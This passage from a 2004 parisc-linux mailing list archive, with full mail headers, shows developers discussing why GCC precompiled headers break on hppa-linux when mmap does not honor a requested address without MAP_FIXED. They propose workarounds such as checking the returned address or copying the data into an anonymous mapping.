	id 881133BDCA; Thu, 15 Jul 2004 14:39:52 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1AAD93BCA9
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 15 Jul 2004 14:39:49 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 28870-07 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 15 Jul 2004 14:39:48 -0600 (MDT)
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk
	[195.92.249.252])
	by free.linux.hp.com (Postfix) with ESMTP id E996F3BC41
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 15 Jul 2004 14:39:47 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.33)
	id 1BlD18-0007Xh-EM; Thu, 15 Jul 2004 21:39:46 +0100
Content-Disposition: inline
In-Reply-To: <200407152025.i6FKP1ng011630@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.4.1i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21819

On Thu, Jul 15, 2004 at 04:25:01PM -0400, John David Anglin wrote:
> Precompiled headers (PCH) seem to be broken at the moment on hppa-linux
> on at least certain kernel versions (2.6.6-pa4) because of the following
> assumption in the PCH implementation:
> 
>    This version assumes that the kernel honors the START operand of mmap
>    even without MAP_FIXED if START through START+SIZE are not currently
>    mapped with something.  */
> 
> int
> mmap_gt_pch_use_address (void *base, size_t size, int fd, size_t offset)
> {
> 
> Anybody have any ideas as to whether parisc-linux can support the
> above?  It seems to break down for large PCH files.  START isn't
> honored under hpux either.

That's an unwarranted assumption.  If they want that, they need to
specify MAP_FIXED.

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] mmap and GCC precompiled headers
Date: Thu, 15 Jul 2004 17:34:02 -0400 (EDT)
Lines: 48
Approved: news@gmane.org
Message-ID: <200407152134.i6FLY3GU021049@hiauly1.hia.nrc.ca>
References: <20040715203946.GN32326@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623504 10236 80.91.229.3 (22 Nov 2014 02:31:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:44 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: willy@debian.org (Matthew Wilcox)
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 22724 invoked by uid 65534); 15 Jul 2004 21:34:50 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx015) with SMTP; 15 Jul 2004 23:34:50 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 3C9703BDE2; Thu, 15 Jul 2004 15:34:42 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29800-09; Thu, 15 Jul 2004 15:34:42 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id A1AE53BDCA; Thu, 15 Jul 2004 15:34:21 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D6E1A3BCA9
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 15 Jul 2004 15:34:16 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 29816-03 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 15 Jul 2004 15:34:16 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 95A673BC41
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 15 Jul 2004 15:34:15 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	i6FLY3Cp021050; Thu, 15 Jul 2004 17:34:04 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id i6FLY3GU021049;
	Thu, 15 Jul 2004 17:34:03 -0400 (EDT)
In-Reply-To: <20040715203946.GN32326@parcelfarce.linux.theplanet.co.uk> from
	"Matthew Wilcox" at Jul 15, 2004 09:39:46 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21820

> On Thu, Jul 15, 2004 at 04:25:01PM -0400, John David Anglin wrote:
> > Precompiled headers (PCH) seem to be broken at the moment on hppa-linux
> > on at least certain kernel versions (2.6.6-pa4) because of the following
> > assumption in the PCH implementation:
> > 
> >    This version assumes that the kernel honors the START operand of mmap
> >    even without MAP_FIXED if START through START+SIZE are not currently
> >    mapped with something.  */
> > 
> > int
> > mmap_gt_pch_use_address (void *base, size_t size, int fd, size_t offset)
> > {
> > 
> > Anybody have any ideas as to whether parisc-linux can support the
> > above?  It seems to break down for large PCH files.  START isn't
> > honored under hpux either.
> 
> That's an unwarranted assumption.  If they want that, they need to
> specify MAP_FIXED.

The problem with MAP_FIXED is that it replaces any previous mappings.
I believe that the code in question doesn't want to do that.  It
simply wants to fallback to not using PCH if the suggested value
for START doesn't work out.

At this point, I don't know if there is another mapping but I suspect
there isn't as the code tries to load the PCH file quite early.

Obviously, this isn't a problem on lots of other ports or everybody
would be screaming.

We can have hppa specific implementations of mmap_gt_pch_get_address
and mmap_gt_pch_use_address.  Under hpux, mmap_gt_pch_use_address was
failing because mmap returned a somewhat smaller memory address.

The address dependencies in the PCH file need to be fixed, but that's
non trivial.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] mmap and GCC precompiled headers
Date: Thu, 15 Jul 2004 14:43:32 -0700
Lines: 19
Approved: news@gmane.org
Message-ID: <20040715214331.GD546@tausq.org>
References: <20040715203946.GN32326@parcelfarce.linux.theplanet.co.uk>
	<200407152134.i6FLY3GU021049@hiauly1.hia.nrc.ca>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623504 10243 80.91.229.3 (22 Nov 2014 02:31:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:44 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 31937 invoked by uid 65534); 15 Jul 2004 21:43:51 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx009) with SMTP; 15 Jul 2004 23:43:51 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 5C46D3BDC9; Thu, 15 Jul 2004 15:43:49 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30210-04; Thu, 15 Jul 2004 15:43:49 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 5E3493BDCA; Thu, 15 Jul 2004 15:43:37 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8FC923BCA9
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 15 Jul 2004 15:43:31 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 30224-01 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 15 Jul 2004 15:43:30 -0600 (MDT)
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by free.linux.hp.com (Postfix) with ESMTP id 625CD3BC41
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 15 Jul 2004 15:43:30 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 0A6BECD299; Thu, 15 Jul 2004 14:43:32 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <200407152134.i6FLY3GU021049@hiauly1.hia.nrc.ca>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21821

> Obviously, this isn't a problem on lots of other ports or everybody
> would be screaming.

The reason for this is that the PA has strict aliasing requirements 
for virtual memory aliases, so we have to jump through hoops to make 
sure we don't create incorrectly aliased mappings. I'm afriad there's
not much that we can do about this.

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] mmap and GCC precompiled headers
Date: Thu, 15 Jul 2004 22:50:15 +0100
Lines: 31
Approved: news@gmane.org
Message-ID: <20040715215015.GO32326@parcelfarce.linux.theplanet.co.uk>
References: <20040715203946.GN32326@parcelfarce.linux.theplanet.co.uk>
	<200407152134.i6FLY3GU021049@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623505 10247 80.91.229.3 (22 Nov 2014 02:31:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:45 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 3787 invoked by uid 65534); 15 Jul 2004 21:50:47 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx030) with SMTP; 15 Jul 2004 23:50:47 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 34EE03BDC9; Thu, 15 Jul 2004 15:50:39 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30210-10; Thu, 15 Jul 2004 15:50:39 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id E5FC43BDCE; Thu, 15 Jul 2004 15:50:21 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4C9AE3BDC9
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 15 Jul 2004 15:50:18 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 30224-08 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 15 Jul 2004 15:50:17 -0600 (MDT)
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk
	[195.92.249.252])
	by free.linux.hp.com (Postfix) with ESMTP id 256423BC41
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 15 Jul 2004 15:50:17 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.33)
	id 1BlE7L-00007I-Rh; Thu, 15 Jul 2004 22:50:15 +0100
Content-Disposition: inline
In-Reply-To: <200407152134.i6FLY3GU021049@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.4.1i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21822

On Thu, Jul 15, 2004 at 05:34:02PM -0400, John David Anglin wrote:
> > That's an unwarranted assumption.  If they want that, they need to
> > specify MAP_FIXED.
> 
> The problem with MAP_FIXED is that it replaces any previous mappings.
> I believe that the code in question doesn't want to do that.  It
> simply wants to fallback to not using PCH if the suggested value
> for START doesn't work out.

Oh, that's easy enough.  mmap() returns the address it got mapped at,
so just compare it to the address you asked for and decline to use PCH
in that case.

> Obviously, this isn't a problem on lots of other ports or everybody
> would be screaming.

Sparc and MIPS should have difficulties too...

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] mmap and GCC precompiled headers
Date: Thu, 15 Jul 2004 23:22:13 -0700
Lines: 34
Approved: news@gmane.org
Message-ID: <20040716062213.GJ546@tausq.org>
References: <20040715215015.GO32326@parcelfarce.linux.theplanet.co.uk>
	<200407152226.i6FMQVK4029018@hiauly1.hia.nrc.ca>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623505 10253 80.91.229.3 (22 Nov 2014 02:31:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:45 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 22944 invoked by uid 65534); 16 Jul 2004 06:23:02 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx053) with SMTP; 16 Jul 2004 08:23:02 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 2678A3BDEA; Fri, 16 Jul 2004 00:22:54 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 00996-08; Fri, 16 Jul 2004 00:22:53 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 99F483BDCB; Fri, 16 Jul 2004 00:22:17 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 653B03BCA9
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 16 Jul 2004 00:22:10 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 01014-02 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 16 Jul 2004 00:22:09 -0600 (MDT)
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by free.linux.hp.com (Postfix) with ESMTP id 351843BC41
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 16 Jul 2004 00:22:09 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 1A0D8CD299; Thu, 15 Jul 2004 23:22:13 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <200407152226.i6FMQVK4029018@hiauly1.hia.nrc.ca>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21823

> However, when GCC tries to remap the PCH file to this location, it
> sometimes fails.  This is currently a fatal error (i.e., it does not
> fallback as described above).  This needs looking at.  Almost all
> the libstdc++ tests failed in the last build that I did.  I think if
> it successfully loads the PCH file and finds that it's not valid,
> it does fallback.

do you mean that, when the pch file is created, it was mmaped to some
address, and that address is written to the file. when the pch file is
read later on for another compile, it tries to mmap it to the same
location, and if it cannot, then it fails?

there's obviously a performance penalty, but is this an option (not very
sure it will work, but i think it might)?

1. mmap the file to addr1, where addr1 is any address returned by the
   kernel
2. do a MAP_PRIVATE anonymous mmap to the desired location addr2 (this 
   is more likely to be honoured by the kernel....)
3. memcpy the data from addr1 to addr2

obviously this assumes you are not changing the pch data...

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] mmap and GCC precompiled headers
Date: Thu, 15 Jul 2004 18:26:30 -0400 (EDT)
Lines: 42
Approved: news@gmane.org
Message-ID: <200407152226.i6FMQVK4029018@hiauly1.hia.nrc.ca>
References: <20040715215015.GO32326@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623505 10256 80.91.229.3 (22 Nov 2014 02:31:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:45 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: willy@debian.org (Matthew Wilcox)
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 12244 invoked by uid 65534); 15 Jul 2004 22:27:11 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx060) with SMTP; 16 Jul 2004 00:27:11 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id A15963BDEA; Thu, 15 Jul 2004 16:26:53 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30468-10; Thu, 15 Jul 2004 16:26:53 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 053433BDCB; Thu, 15 Jul 2004 16:26:38 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 520633BDC9
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 15 Jul 2004 16:26:34 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 30486-02 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 15 Jul 2004 16:26:33 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 148113BC41
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 15 Jul 2004 16:26:33 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	i6FMQVCp029020; Thu, 15 Jul 2004 18:26:31 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id i6FMQVK4029018;
	Thu, 15 Jul 2004 18:26:31 -0400 (EDT)
In-Reply-To: <20040715215015.GO32326@parcelfarce.linux.theplanet.co.uk> from
	"Matthew Wilcox" at Jul 15, 2004 10:50:15 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
